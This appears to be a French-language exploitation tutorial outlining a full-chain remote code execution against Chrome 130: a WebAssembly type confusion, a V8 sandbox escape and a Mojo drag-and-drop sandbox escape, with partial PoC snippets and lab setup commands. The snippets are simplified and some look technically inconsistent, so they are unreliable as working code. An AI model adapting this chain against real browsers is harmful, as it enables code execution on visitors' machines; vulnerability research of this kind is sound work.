Chrome Exploiting

Cette page fournit un aperçu de haut niveau mais pratique d'un flux de travail d'exploitation "full-chain" moderne contre Google Chrome 130 basé sur la série de recherches “101 Chrome Exploitation” (Partie-0 — Préface). L'objectif est de donner aux pentesters et aux développeurs d'exploits le minimum de connaissances nécessaires pour reproduire ou adapter les techniques à leurs propres recherches.

1. Récapitulatif de l'architecture de Chrome

Comprendre la surface d'attaque nécessite de savoir où le code est exécuté et quels sandboxes s'appliquent.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate) : les permissions mémoire sont restreintes pour empêcher la lecture/écriture arbitraire depuis JS / Wasm JITé.
• La séparation Renderer ↔ Browser est assurée via le passage de messages Mojo/IPC ; le renderer n'a aucun accès natif au FS/réseau.
• Les sandboxes OS contiennent davantage chaque processus (Niveaux d'intégrité Windows / seccomp-bpf / profils de sandbox macOS).

Un attaquant à distance a donc besoin de trois primitives successives :

1. Corruption de mémoire à l'intérieur de V8 pour obtenir RW arbitraire à l'intérieur du tas V8.
2. Un second bug permettant à l'attaquant de s'échapper de la sandbox V8 vers la mémoire complète du renderer.
3. Une dernière évasion de la sandbox (souvent logique plutôt que corruption de mémoire) pour exécuter du code en dehors de la sandbox Chrome OS.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Un défaut dans l'optimisation Turboshaft de TurboFan classe mal les types de référence WasmGC lorsque la valeur est produite et consommée à l'intérieur d'une boucle de bloc de base unique.

Effet :

• Le compilateur ignore la vérification de type, traitant une référence (externref/anyref) comme un int64.
• Wasm conçu permet de chevaucher un en-tête d'objet JS avec des données contrôlées par l'attaquant → addrOf() & fakeObj() primitives AAW / AAR.

PoC minimale (extrait) :

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Optimisation des déclencheurs et objets de spray à partir de JS :

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Résultat : lecture/écriture arbitraire dans V8.

3. Étape 2 – Évasion du bac à sable V8 (problème 379140430)

Lorsqu'une fonction Wasm est compilée en mode tier-up, un wrapper JS ↔ Wasm est généré. Un bogue de non-correspondance de signature fait que le wrapper écrit au-delà de la fin d'un objet Tuple2 de confiance lorsque la fonction Wasm est réoptimisée tout en étant sur la pile.

Écraser les 2 champs de 64 bits de l'objet Tuple2 permet la lecture/écriture à n'importe quelle adresse à l'intérieur du processus Renderer, contournant ainsi efficacement le bac à sable V8.

Étapes clés de l'exploitation :

1. Mettre la fonction dans l'état Tier-Up en alternant le code turbofan/baseline.
2. Déclencher le tier-up tout en gardant une référence sur la pile (Function.prototype.apply).
3. Utiliser AAR/AAW de l'étape 1 pour trouver et corrompre le Tuple2 adjacent.

Identification du wrapper :

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Après corruption, nous possédons une primitive R/W de rendu entièrement fonctionnelle.

4. Étape 3 – Évasion du bac à sable OS depuis le Renderer (CVE-2024-11114)

L'interface IPC Mojo blink.mojom.DragService.startDragging() peut être appelée depuis le Renderer avec des paramètres partiellement fiables. En créant une structure DragData pointant vers un chemin de fichier arbitraire, le renderer convainc le navigateur d'effectuer un glisser-déposer natif en dehors du bac à sable du renderer.

En abusant de cela, nous pouvons "glisser" de manière programmatique un EXE malveillant (préalablement déposé dans un emplacement accessible en écriture) sur le Bureau, où Windows exécute automatiquement certains types de fichiers une fois déposés.

Exemple (simplifié) :

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Aucune corruption de mémoire supplémentaire n'est nécessaire – le logic flaw nous permet d'exécuter des fichiers arbitraires avec les privilèges de l'utilisateur.

5. Flux de chaîne complet

1. L'utilisateur visite une page web malveillante.
2. Étape 1 : Le module Wasm abuse de CVE-2025-0291 → Tas V8 AAR/AAW.
3. Étape 2 : Le décalage du wrapper corrompt Tuple2 → échapper au bac à sable V8.
4. Étape 3 : startDragging() IPC → échapper au bac à sable OS & exécuter le payload.

Résultat : Remote Code Execution (RCE) sur l'hôte (Chrome 130, Windows/Linux/macOS).

6. Configuration du laboratoire et débogage

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Drapeaux utiles lors du lancement d'une development build de Chrome :

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Points à retenir

• Les bugs JIT WebAssembly restent un point d'entrée fiable – le système de types est encore jeune.
• Obtenir un deuxième bug de corruption de mémoire à l'intérieur de V8 (par exemple, un décalage de wrapper) simplifie grandement l'évasion du sandbox V8.
• Les faiblesses au niveau logique dans les interfaces IPC Mojo privilégiées sont souvent suffisantes pour une évasion finale du sandbox – gardez un œil sur les bugs non-mémoire.

Références

• 101 Chrome Exploitation — Part 0 (Preface)
• Architecture de sécurité de Chromium